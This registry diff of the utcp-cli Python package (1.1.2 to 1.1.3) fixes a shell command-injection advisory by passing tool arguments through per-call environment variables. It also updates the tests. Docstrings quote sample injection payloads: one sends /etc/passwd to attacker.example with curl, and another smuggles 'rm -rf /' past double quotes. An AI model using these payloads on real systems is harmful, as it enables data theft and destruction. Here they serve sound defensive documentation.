utcp-cli 1.1.2__tar.gz → 1.1.3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/PKG-INFO +1 -1
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/pyproject.toml +1 -1
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/src/utcp_cli/cli_call_template.py +62 -23
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/src/utcp_cli/cli_communication_protocol.py +286 -61
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/src/utcp_cli.egg-info/PKG-INFO +1 -1
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/src/utcp_cli.egg-info/SOURCES.txt +1 -1
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/tests/test_cli_communication_protocol.py +17 -12
- utcp_cli-1.1.3/tests/test_cli_security.py +534 -0
- utcp_cli-1.1.2/tests/test_security.py +0 -420
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/README.md +0 -0
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/setup.cfg +0 -0
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/src/utcp_cli/__init__.py +0 -0
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/src/utcp_cli.egg-info/dependency_links.txt +0 -0
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/src/utcp_cli.egg-info/entry_points.txt +0 -0
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/src/utcp_cli.egg-info/requires.txt +0 -0
- {utcp_cli-1.1.2 → utcp_cli-1.1.3}/src/utcp_cli.egg-info/top_level.txt +0 -0
|
@@ -15,15 +15,34 @@ class CommandStep(BaseModel):
|
|
|
15
15
|
placeholders that will be replaced with values from tool_args. Can also
|
|
16
16
|
reference previous command outputs using $CMD_0_OUTPUT, $CMD_1_OUTPUT, etc.
|
|
17
17
|
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
`
|
|
21
|
-
|
|
22
|
-
expands
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
18
|
+
Placeholders are NOT inlined as text. Instead the protocol
|
|
19
|
+
emits a context-aware shell variable reference (`"$VAR"` /
|
|
20
|
+
`${VAR}` / `$env:VAR`) and ships the actual `tool_args`
|
|
21
|
+
value to the subprocess via an environment variable, so the
|
|
22
|
+
shell expands the value AFTER it has parsed the script.
|
|
23
|
+
Attacker-controlled bytes therefore cannot inject commands
|
|
24
|
+
or escape any quoting context.
|
|
25
|
+
|
|
26
|
+
A placeholder always substitutes a **single logical value**
|
|
27
|
+
(never a list of shell words) -- the substituted value
|
|
28
|
+
cannot be reinterpreted as additional shell syntax. Several
|
|
29
|
+
placeholders may appear within the same quoted region (e.g.
|
|
30
|
+
``"https://api/UTCP_ARG_id_UTCP_END/UTCP_ARG_action_UTCP_END"``)
|
|
31
|
+
and they compose with the surrounding literal text into one
|
|
32
|
+
shell argument. Tools that previously relied on a single
|
|
33
|
+
placeholder splitting into multiple flags (e.g.
|
|
34
|
+
``UTCP_ARG_flags_UTCP_END`` -> ``--verbose --debug``) must
|
|
35
|
+
now use one placeholder per intended flag. This change
|
|
36
|
+
ships with utcp-cli 1.1.3 and addresses GHSA-33p6-5jxp-p3x4
|
|
37
|
+
(including the residual double-quote-context bypass that
|
|
38
|
+
the inline ``shlex.quote`` strategy in 1.1.2 left open).
|
|
39
|
+
|
|
40
|
+
PowerShell limitation: a placeholder appearing inside a
|
|
41
|
+
single-quoted PowerShell string (``'...'``) raises
|
|
42
|
+
``ValueError`` at script-build time -- PowerShell does not
|
|
43
|
+
expand variables inside single quotes, and rewriting the
|
|
44
|
+
surrounding token is too brittle. Use a double-quoted
|
|
45
|
+
string (``"..."``) instead.
|
|
27
46
|
append_to_final_output: Whether this command's output should be included
|
|
28
47
|
in the final result. If not specified, defaults to False for all
|
|
29
48
|
commands except the last one.
|
|
@@ -48,9 +67,11 @@ class CommandStep(BaseModel):
|
|
|
48
67
|
command: str = Field(
|
|
49
68
|
description=(
|
|
50
69
|
"Command string to execute, may contain UTCP_ARG_argname_UTCP_END "
|
|
51
|
-
"placeholders. Each placeholder
|
|
52
|
-
"
|
|
53
|
-
"
|
|
70
|
+
"placeholders. Each placeholder substitutes a single value via "
|
|
71
|
+
"a shell-variable reference chosen for its surrounding quote "
|
|
72
|
+
"context; substituted values cannot be reinterpreted as "
|
|
73
|
+
"additional shell syntax. Several placeholders may appear in "
|
|
74
|
+
"the same quoted region and compose into one argument."
|
|
54
75
|
)
|
|
55
76
|
)
|
|
56
77
|
append_to_final_output: Optional[bool] = Field(
|
|
@@ -81,15 +102,29 @@ class CliCallTemplate(CallTemplate):
|
|
|
81
102
|
|
|
82
103
|
Example: `echo "Previous result: $CMD_0_OUTPUT"`
|
|
83
104
|
|
|
84
|
-
**Argument Substitution
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
105
|
+
**Argument Substitution (utcp-cli >= 1.1.3):**
|
|
106
|
+
``UTCP_ARG_argname_UTCP_END`` placeholders are replaced with a
|
|
107
|
+
context-aware shell variable reference (``"$VAR"`` outside quotes,
|
|
108
|
+
``${VAR}`` inside double quotes, an adjacent-quote concat trick
|
|
109
|
+
inside single-quoted bash). The actual ``tool_args`` value is
|
|
110
|
+
shipped to the subprocess via a fresh, per-invocation env var; the
|
|
111
|
+
shell expands it at runtime AFTER it has parsed the script, so
|
|
112
|
+
attacker-controlled bytes cannot inject commands or escape any
|
|
113
|
+
quoting context.
|
|
114
|
+
|
|
115
|
+
A placeholder always substitutes a single logical value (never a
|
|
116
|
+
list of shell words). Several placeholders may appear in one
|
|
117
|
+
quoted region and compose with the surrounding text into one
|
|
118
|
+
argument (e.g.
|
|
119
|
+
``"https://api/UTCP_ARG_id_UTCP_END/UTCP_ARG_action_UTCP_END"``).
|
|
120
|
+
If a tool needs multiple separate flags, use one placeholder per
|
|
121
|
+
flag in bare position. PowerShell single-quoted strings cannot
|
|
122
|
+
expand variables, so a placeholder inside ``'...'`` on Windows
|
|
123
|
+
raises ``ValueError`` at script-build time; use a double-quoted
|
|
124
|
+
string instead. This change closes the command-injection vector
|
|
125
|
+
tracked as GHSA-33p6-5jxp-p3x4 (and its residual
|
|
126
|
+
double-quote-context bypass that the inline ``shlex.quote``
|
|
127
|
+
strategy in 1.1.2 left open).
|
|
93
128
|
|
|
94
129
|
**Subprocess Environment (utcp-cli >= 1.1.2):**
|
|
95
130
|
The CLI subprocess no longer inherits the full host environment.
|
|
@@ -221,8 +256,12 @@ class CliCallTemplate(CallTemplate):
|
|
|
221
256
|
commands: List[CommandStep] = Field(
|
|
222
257
|
description=(
|
|
223
258
|
"List of commands to execute in order. Each command can contain "
|
|
224
|
-
"UTCP_ARG_argname_UTCP_END placeholders, which
|
|
225
|
-
"
|
|
259
|
+
"UTCP_ARG_argname_UTCP_END placeholders, which substitute a "
|
|
260
|
+
"single value via a shell-variable reference chosen for the "
|
|
261
|
+
"surrounding quote context. Substituted values cannot be "
|
|
262
|
+
"reinterpreted as additional shell syntax. Several placeholders "
|
|
263
|
+
"may appear in the same quoted region and compose into one "
|
|
264
|
+
"argument."
|
|
226
265
|
)
|
|
227
266
|
)
|
|
228
267
|
env_vars: Optional[Dict[str, str]] = Field(
|
|
@@ -20,9 +20,9 @@ import asyncio
|
|
|
20
20
|
import json
|
|
21
21
|
import os
|
|
22
22
|
import re
|
|
23
|
-
import
|
|
23
|
+
import secrets
|
|
24
24
|
import sys
|
|
25
|
-
from typing import Dict, Any, List, Optional,
|
|
25
|
+
from typing import Dict, Any, List, Optional, Tuple, AsyncGenerator
|
|
26
26
|
|
|
27
27
|
from utcp.interfaces.communication_protocol import CommunicationProtocol
|
|
28
28
|
from utcp.data.call_template import CallTemplate, CallTemplateSerializer
|
|
@@ -241,9 +241,15 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
241
241
|
|
|
242
242
|
try:
|
|
243
243
|
# Execute commands using the same approach as call_tool but with no arguments
|
|
244
|
-
|
|
245
|
-
shell_script = self._build_combined_shell_script(
|
|
246
|
-
|
|
244
|
+
base_env = self._prepare_environment(manual_call_template)
|
|
245
|
+
shell_script, arg_env = self._build_combined_shell_script(
|
|
246
|
+
manual_call_template.commands, {}
|
|
247
|
+
)
|
|
248
|
+
# Per-call __UTCP_ARG_* env vars carry placeholder values;
|
|
249
|
+
# layer them on top of the inherited+caller-supplied env so
|
|
250
|
+
# the references emitted into the script actually resolve.
|
|
251
|
+
env = {**base_env, **arg_env}
|
|
252
|
+
|
|
247
253
|
self._log_info(f"Executing shell script for tool discovery from provider '{manual_call_template.name}'")
|
|
248
254
|
|
|
249
255
|
stdout, stderr, return_code = await self._execute_shell_script(
|
|
@@ -323,68 +329,277 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
323
329
|
)
|
|
324
330
|
|
|
325
331
|
@staticmethod
|
|
326
|
-
def
|
|
327
|
-
"""
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
interpret (`;`, `&`, `|`, `` ` ``, `$`, `(`, `)`, `<`, `>`, line
|
|
335
|
-
breaks).
|
|
336
|
-
|
|
337
|
-
Backs GHSA-33p6-5jxp-p3x4: the previous substitution did
|
|
338
|
-
`str(tool_args[arg_name])` directly into the shell script, which
|
|
339
|
-
allowed arbitrary command injection (e.g.
|
|
340
|
-
`"data.csv; curl http://attacker.example/$(cat /etc/passwd)"`).
|
|
332
|
+
def _make_nonce() -> str:
|
|
333
|
+
"""Generate an unguessable nonce that namespaces the env vars used
|
|
334
|
+
for argument substitution within a single tool invocation.
|
|
335
|
+
|
|
336
|
+
Prevents a template author from being able to write a literal
|
|
337
|
+
``${__UTCP_ARG_<nonce>_<name>}`` reference that collides with our
|
|
338
|
+
substitution slot, which would re-introduce
|
|
339
|
+
unquoted-variable-expansion injection.
|
|
341
340
|
"""
|
|
342
|
-
|
|
343
|
-
return "'" + value.replace("'", "''") + "'"
|
|
344
|
-
return shlex.quote(value)
|
|
341
|
+
return secrets.token_hex(8)
|
|
345
342
|
|
|
346
|
-
|
|
347
|
-
|
|
343
|
+
@staticmethod
|
|
344
|
+
def _env_var_name(nonce: str, arg_name: str) -> str:
|
|
345
|
+
"""Compute the env-var name that carries one substituted tool_arg
|
|
346
|
+
value into the subprocess. The nonce is fresh per invocation so
|
|
347
|
+
``${__UTCP_ARG_<nonce>_<name>}`` literals cannot exist in
|
|
348
|
+
templates authored before invocation time.
|
|
349
|
+
"""
|
|
350
|
+
return f"__UTCP_ARG_{nonce}_{arg_name}"
|
|
348
351
|
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
352
|
+
_PLACEHOLDER_RE = re.compile(r'UTCP_ARG_([a-zA-Z0-9_]+?)_UTCP_END')
|
|
353
|
+
|
|
354
|
+
def _substitute_utcp_args(
|
|
355
|
+
self,
|
|
356
|
+
command: str,
|
|
357
|
+
tool_args: Dict[str, Any],
|
|
358
|
+
nonce: str,
|
|
359
|
+
) -> Tuple[str, Dict[str, str]]:
|
|
360
|
+
"""Substitute ``UTCP_ARG_<name>_UTCP_END`` placeholders in a
|
|
361
|
+
command string by emitting context-appropriate shell variable
|
|
362
|
+
references and recording the actual values as env vars on the
|
|
363
|
+
returned dict. The caller wires those env vars into the
|
|
364
|
+
subprocess (alongside the call template's ``env_vars`` and the
|
|
365
|
+
host-inheritance allowlist) so the shell expands them at
|
|
366
|
+
runtime, AFTER it has already parsed the script. As a result,
|
|
367
|
+
attacker-controlled ``tool_args`` never get spliced into the
|
|
368
|
+
script source and therefore cannot inject commands or escape
|
|
369
|
+
any quoting context.
|
|
370
|
+
|
|
371
|
+
Quote-state tracking ensures the emitted reference is correct
|
|
372
|
+
for its surrounding context:
|
|
373
|
+
|
|
374
|
+
bash (Unix):
|
|
375
|
+
- bare: ``"$VAR"`` (quoted: no word splitting)
|
|
376
|
+
- inside double quotes: ``${VAR}`` (bash expands inside dq)
|
|
377
|
+
- inside single quotes: ``'"$VAR"'`` (close sq, dq with var,
|
|
378
|
+
reopen sq -- bash treats
|
|
379
|
+
adjacent quoted regions
|
|
380
|
+
as a single token)
|
|
381
|
+
|
|
382
|
+
powershell (Windows):
|
|
383
|
+
- bare: ``$env:VAR``
|
|
384
|
+
- inside double quotes: ``$env:VAR`` (PS expands inside dq)
|
|
385
|
+
- inside single quotes: ValueError -- PS does not expand inside
|
|
386
|
+
single-quoted strings, so
|
|
387
|
+
we cannot safely
|
|
388
|
+
substitute without
|
|
389
|
+
rewriting the entire
|
|
390
|
+
surrounding token. Author
|
|
391
|
+
must use a double-quoted
|
|
392
|
+
string.
|
|
393
|
+
|
|
394
|
+
Backs GHSA-33p6-5jxp-p3x4. An earlier fix that did inline
|
|
395
|
+
``shlex.quote``-style substitution was still vulnerable when
|
|
396
|
+
the placeholder sat inside a surrounding ``"`` region: e.g.
|
|
397
|
+
template ``curl "https://api/UTCP_ARG_id_UTCP_END"`` with
|
|
398
|
+
``id = '"; rm -rf /; "'`` produced
|
|
399
|
+
``curl "https://api/'"; rm -rf /; "'"``, where bash's parser
|
|
400
|
+
closed the outer dq early and ran the injected commands.
|
|
355
401
|
|
|
356
402
|
Args:
|
|
357
|
-
command: Command string containing
|
|
358
|
-
|
|
403
|
+
command: Command string containing
|
|
404
|
+
``UTCP_ARG_<name>_UTCP_END`` placeholders.
|
|
405
|
+
tool_args: Dictionary of argument names and values.
|
|
406
|
+
nonce: Per-invocation nonce used to namespace generated env
|
|
407
|
+
vars.
|
|
359
408
|
|
|
360
409
|
Returns:
|
|
361
|
-
|
|
410
|
+
Tuple ``(command, env)`` where ``command`` is safe to embed
|
|
411
|
+
in a shell script and ``env`` is the additional env vars
|
|
412
|
+
the subprocess must receive for the references to expand.
|
|
362
413
|
"""
|
|
363
|
-
|
|
364
|
-
|
|
414
|
+
if os.name == 'nt':
|
|
415
|
+
return self._substitute_powershell(command, tool_args, nonce)
|
|
416
|
+
return self._substitute_bash(command, tool_args, nonce)
|
|
365
417
|
|
|
366
|
-
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
418
|
+
def _substitute_bash(
|
|
419
|
+
self,
|
|
420
|
+
command: str,
|
|
421
|
+
tool_args: Dict[str, Any],
|
|
422
|
+
nonce: str,
|
|
423
|
+
) -> Tuple[str, Dict[str, str]]:
|
|
424
|
+
env: Dict[str, str] = {}
|
|
425
|
+
out: List[str] = []
|
|
426
|
+
state = "normal" # "normal" | "dq" | "sq"
|
|
427
|
+
i = 0
|
|
428
|
+
n = len(command)
|
|
429
|
+
|
|
430
|
+
def collect(name: str) -> str:
|
|
431
|
+
v = self._env_var_name(nonce, name)
|
|
432
|
+
if name in tool_args:
|
|
433
|
+
env[v] = str(tool_args[name])
|
|
370
434
|
else:
|
|
371
|
-
self._log_error(
|
|
372
|
-
|
|
435
|
+
self._log_error(
|
|
436
|
+
f"Missing argument '{name}' for placeholder in command: {command}"
|
|
437
|
+
)
|
|
438
|
+
env[v] = f"MISSING_ARG_{name}"
|
|
439
|
+
return v
|
|
440
|
+
|
|
441
|
+
while i < n:
|
|
442
|
+
m = self._PLACEHOLDER_RE.match(command, i)
|
|
443
|
+
if m is not None:
|
|
444
|
+
v = collect(m.group(1))
|
|
445
|
+
if state == "normal":
|
|
446
|
+
out.append(f'"${v}"')
|
|
447
|
+
elif state == "dq":
|
|
448
|
+
out.append(f"${{{v}}}")
|
|
449
|
+
else: # sq -- break out, dq the var, reopen sq
|
|
450
|
+
out.append(f"'\"${v}\"'")
|
|
451
|
+
i = m.end()
|
|
452
|
+
continue
|
|
453
|
+
|
|
454
|
+
ch = command[i]
|
|
455
|
+
if state == "normal":
|
|
456
|
+
if ch == "'":
|
|
457
|
+
state = "sq"
|
|
458
|
+
out.append(ch)
|
|
459
|
+
elif ch == '"':
|
|
460
|
+
state = "dq"
|
|
461
|
+
out.append(ch)
|
|
462
|
+
elif ch == "\\" and i + 1 < n:
|
|
463
|
+
out.append(ch)
|
|
464
|
+
out.append(command[i + 1])
|
|
465
|
+
i += 2
|
|
466
|
+
continue
|
|
467
|
+
else:
|
|
468
|
+
out.append(ch)
|
|
469
|
+
elif state == "dq":
|
|
470
|
+
if ch == "\\" and i + 1 < n and command[i + 1] in '"\\$`\n':
|
|
471
|
+
out.append(ch)
|
|
472
|
+
out.append(command[i + 1])
|
|
473
|
+
i += 2
|
|
474
|
+
continue
|
|
475
|
+
if ch == '"':
|
|
476
|
+
state = "normal"
|
|
477
|
+
out.append(ch)
|
|
478
|
+
else:
|
|
479
|
+
out.append(ch)
|
|
480
|
+
else: # sq -- only `'` ends the string. No expansion, no escapes.
|
|
481
|
+
if ch == "'":
|
|
482
|
+
state = "normal"
|
|
483
|
+
out.append(ch)
|
|
484
|
+
else:
|
|
485
|
+
out.append(ch)
|
|
486
|
+
i += 1
|
|
373
487
|
|
|
374
|
-
return
|
|
488
|
+
return "".join(out), env
|
|
489
|
+
|
|
490
|
+
def _substitute_powershell(
|
|
491
|
+
self,
|
|
492
|
+
command: str,
|
|
493
|
+
tool_args: Dict[str, Any],
|
|
494
|
+
nonce: str,
|
|
495
|
+
) -> Tuple[str, Dict[str, str]]:
|
|
496
|
+
env: Dict[str, str] = {}
|
|
497
|
+
out: List[str] = []
|
|
498
|
+
state = "normal" # "normal" | "dq" | "sq"
|
|
499
|
+
i = 0
|
|
500
|
+
n = len(command)
|
|
501
|
+
|
|
502
|
+
def collect(name: str) -> str:
|
|
503
|
+
v = self._env_var_name(nonce, name)
|
|
504
|
+
if name in tool_args:
|
|
505
|
+
env[v] = str(tool_args[name])
|
|
506
|
+
else:
|
|
507
|
+
self._log_error(
|
|
508
|
+
f"Missing argument '{name}' for placeholder in command: {command}"
|
|
509
|
+
)
|
|
510
|
+
env[v] = f"MISSING_ARG_{name}"
|
|
511
|
+
return v
|
|
512
|
+
|
|
513
|
+
while i < n:
|
|
514
|
+
m = self._PLACEHOLDER_RE.match(command, i)
|
|
515
|
+
if m is not None:
|
|
516
|
+
if state == "sq":
|
|
517
|
+
raise ValueError(
|
|
518
|
+
f"Placeholder UTCP_ARG_{m.group(1)}_UTCP_END appears "
|
|
519
|
+
f"inside a PowerShell single-quoted string in "
|
|
520
|
+
f"command: {command}\n"
|
|
521
|
+
f"PowerShell does not expand variables inside single "
|
|
522
|
+
f"quotes, so this cannot be substituted safely. Use a "
|
|
523
|
+
f'double-quoted string ("...") around the placeholder '
|
|
524
|
+
f"instead."
|
|
525
|
+
)
|
|
526
|
+
v = collect(m.group(1))
|
|
527
|
+
# Both bare and dq accept `$env:VAR` -- PowerShell expands
|
|
528
|
+
# it inside double-quoted strings.
|
|
529
|
+
out.append(f"$env:{v}")
|
|
530
|
+
i = m.end()
|
|
531
|
+
continue
|
|
532
|
+
|
|
533
|
+
ch = command[i]
|
|
534
|
+
if state == "normal":
|
|
535
|
+
if ch == "'":
|
|
536
|
+
state = "sq"
|
|
537
|
+
out.append(ch)
|
|
538
|
+
elif ch == '"':
|
|
539
|
+
state = "dq"
|
|
540
|
+
out.append(ch)
|
|
541
|
+
elif ch == "`" and i + 1 < n:
|
|
542
|
+
out.append(ch)
|
|
543
|
+
out.append(command[i + 1])
|
|
544
|
+
i += 2
|
|
545
|
+
continue
|
|
546
|
+
else:
|
|
547
|
+
out.append(ch)
|
|
548
|
+
elif state == "dq":
|
|
549
|
+
if ch == "`" and i + 1 < n:
|
|
550
|
+
out.append(ch)
|
|
551
|
+
out.append(command[i + 1])
|
|
552
|
+
i += 2
|
|
553
|
+
continue
|
|
554
|
+
if ch == '"':
|
|
555
|
+
state = "normal"
|
|
556
|
+
out.append(ch)
|
|
557
|
+
else:
|
|
558
|
+
out.append(ch)
|
|
559
|
+
else: # sq -- PS: `''` is an escaped single quote inside the literal.
|
|
560
|
+
if ch == "'" and i + 1 < n and command[i + 1] == "'":
|
|
561
|
+
out.append(ch)
|
|
562
|
+
out.append(command[i + 1])
|
|
563
|
+
i += 2
|
|
564
|
+
continue
|
|
565
|
+
if ch == "'":
|
|
566
|
+
state = "normal"
|
|
567
|
+
out.append(ch)
|
|
568
|
+
else:
|
|
569
|
+
out.append(ch)
|
|
570
|
+
i += 1
|
|
571
|
+
|
|
572
|
+
return "".join(out), env
|
|
375
573
|
|
|
376
|
-
def _build_combined_shell_script(
|
|
574
|
+
def _build_combined_shell_script(
|
|
575
|
+
self,
|
|
576
|
+
commands: List[CommandStep],
|
|
577
|
+
tool_args: Dict[str, Any],
|
|
578
|
+
) -> Tuple[str, Dict[str, str]]:
|
|
377
579
|
"""Build a combined shell script from multiple commands.
|
|
378
|
-
|
|
580
|
+
|
|
581
|
+
Returns both the script and the env-var contributions
|
|
582
|
+
accumulated across all command steps. Callers must merge these
|
|
583
|
+
env vars into the subprocess environment so the placeholder
|
|
584
|
+
references the script writes (``$VAR`` / ``${VAR}`` /
|
|
585
|
+
``$env:VAR``) actually resolve to the original tool_arg values
|
|
586
|
+
at runtime.
|
|
587
|
+
|
|
379
588
|
Args:
|
|
380
589
|
commands: List of CommandStep objects to combine
|
|
381
590
|
tool_args: Tool arguments for placeholder substitution
|
|
382
|
-
|
|
591
|
+
|
|
383
592
|
Returns:
|
|
384
|
-
|
|
593
|
+
Tuple ``(script, env)`` -- script is the shell script
|
|
594
|
+
source, env is the additional ``__UTCP_ARG_*`` env vars to
|
|
595
|
+
inject.
|
|
385
596
|
"""
|
|
386
|
-
script_lines = []
|
|
387
|
-
|
|
597
|
+
script_lines: List[str] = []
|
|
598
|
+
accumulated_env: Dict[str, str] = {}
|
|
599
|
+
# One nonce per script -- shared across all command steps so the
|
|
600
|
+
# env-var contributions land in a consistent namespace.
|
|
601
|
+
nonce = self._make_nonce()
|
|
602
|
+
|
|
388
603
|
# Add error handling and setup
|
|
389
604
|
if os.name == 'nt':
|
|
390
605
|
# PowerShell script
|
|
@@ -395,14 +610,18 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
395
610
|
script_lines.append('#!/bin/bash')
|
|
396
611
|
# Don't use set -e to allow error output capture and processing
|
|
397
612
|
script_lines.append('# Variables to store command outputs')
|
|
398
|
-
|
|
613
|
+
|
|
399
614
|
# Execute each command and store output in variables
|
|
400
615
|
for i, command_step in enumerate(commands):
|
|
401
|
-
# Substitute UTCP_ARG placeholders
|
|
402
|
-
|
|
403
|
-
|
|
616
|
+
# Substitute UTCP_ARG placeholders -- emits shell-variable
|
|
617
|
+
# references, contributes the actual values via env.
|
|
618
|
+
substituted_command, step_env = self._substitute_utcp_args(
|
|
619
|
+
command_step.command, tool_args, nonce
|
|
620
|
+
)
|
|
621
|
+
accumulated_env.update(step_env)
|
|
622
|
+
|
|
404
623
|
var_name = f"CMD_{i}_OUTPUT"
|
|
405
|
-
|
|
624
|
+
|
|
406
625
|
if os.name == 'nt':
|
|
407
626
|
# PowerShell - capture command output in variable
|
|
408
627
|
script_lines.append(f'${var_name} = {substituted_command} 2>&1 | Out-String')
|
|
@@ -427,8 +646,8 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
427
646
|
else:
|
|
428
647
|
# Unix shell
|
|
429
648
|
script_lines.append(f'echo "${{{var_name}}}"')
|
|
430
|
-
|
|
431
|
-
return '\n'.join(script_lines)
|
|
649
|
+
|
|
650
|
+
return '\n'.join(script_lines), accumulated_env
|
|
432
651
|
|
|
433
652
|
async def _execute_shell_script(self, script: str, env: Dict[str, str], timeout: float = 60.0, working_dir: Optional[str] = None) -> tuple[str, str, int]:
|
|
434
653
|
"""Execute a shell script in a single subprocess.
|
|
@@ -697,11 +916,17 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
697
916
|
self._log_info(f"Executing CLI tool '{tool_name}' with {len(tool_call_template.commands)} command(s) in single subprocess")
|
|
698
917
|
|
|
699
918
|
try:
|
|
700
|
-
|
|
701
|
-
|
|
702
|
-
# Build combined shell script with output capture
|
|
703
|
-
|
|
704
|
-
|
|
919
|
+
base_env = self._prepare_environment(tool_call_template)
|
|
920
|
+
|
|
921
|
+
# Build combined shell script with output capture. The
|
|
922
|
+
# script's placeholders are emitted as `$VAR` / `${VAR}` /
|
|
923
|
+
# `$env:VAR` references; the actual tool_arg values come
|
|
924
|
+
# back as `arg_env`.
|
|
925
|
+
shell_script, arg_env = self._build_combined_shell_script(
|
|
926
|
+
tool_call_template.commands, tool_args
|
|
927
|
+
)
|
|
928
|
+
env = {**base_env, **arg_env}
|
|
929
|
+
|
|
705
930
|
self._log_info("Executing combined shell script")
|
|
706
931
|
|
|
707
932
|
# Execute the combined script in a single subprocess
|
|
@@ -488,23 +488,28 @@ else:
|
|
|
488
488
|
|
|
489
489
|
@pytest.mark.asyncio
|
|
490
490
|
async def test_placeholder_substitution():
|
|
491
|
-
"""Test that UTCP_ARG placeholders are properly substituted.
|
|
491
|
+
"""Test that UTCP_ARG placeholders are properly substituted.
|
|
492
|
+
|
|
493
|
+
As of utcp-cli 1.1.3, substitution emits a shell-variable reference
|
|
494
|
+
in the script and ships the actual value via env var.
|
|
495
|
+
"""
|
|
492
496
|
transport = CliCommunicationProtocol()
|
|
493
|
-
|
|
494
|
-
# Test placeholder substitution using the actual method name
|
|
497
|
+
|
|
495
498
|
command_template = "echo UTCP_ARG_message_UTCP_END --count UTCP_ARG_count_UTCP_END"
|
|
496
499
|
args = {
|
|
497
500
|
"message": "hello world",
|
|
498
|
-
"count": 42
|
|
501
|
+
"count": 42,
|
|
499
502
|
}
|
|
500
|
-
|
|
501
|
-
substituted = transport._substitute_utcp_args(command_template, args)
|
|
502
|
-
|
|
503
|
-
#
|
|
503
|
+
nonce = "TESTNONCE"
|
|
504
|
+
substituted, env = transport._substitute_utcp_args(command_template, args, nonce)
|
|
505
|
+
|
|
506
|
+
# Placeholder form must be gone from the script.
|
|
504
507
|
assert "UTCP_ARG_message_UTCP_END" not in substituted
|
|
505
508
|
assert "UTCP_ARG_count_UTCP_END" not in substituted
|
|
506
|
-
|
|
507
|
-
assert "
|
|
509
|
+
# Raw values must appear in the env contribution, not the script.
|
|
510
|
+
assert env[f"__UTCP_ARG_{nonce}_message"] == "hello world"
|
|
511
|
+
assert env[f"__UTCP_ARG_{nonce}_count"] == "42"
|
|
512
|
+
assert "hello world" not in substituted
|
|
508
513
|
|
|
509
514
|
|
|
510
515
|
@pytest.mark.asyncio
|
|
@@ -644,8 +649,8 @@ async def test_command_output_referencing(transport: CliCommunicationProtocol, p
|
|
|
644
649
|
)
|
|
645
650
|
|
|
646
651
|
# Build the shell script to verify it contains the expected structure
|
|
647
|
-
script = transport._build_combined_shell_script(call_template.commands, {})
|
|
648
|
-
|
|
652
|
+
script, _ = transport._build_combined_shell_script(call_template.commands, {})
|
|
653
|
+
|
|
649
654
|
# Verify the script contains output capture variables
|
|
650
655
|
assert "CMD_0_OUTPUT" in script
|
|
651
656
|
assert "echo generated_value" in script
|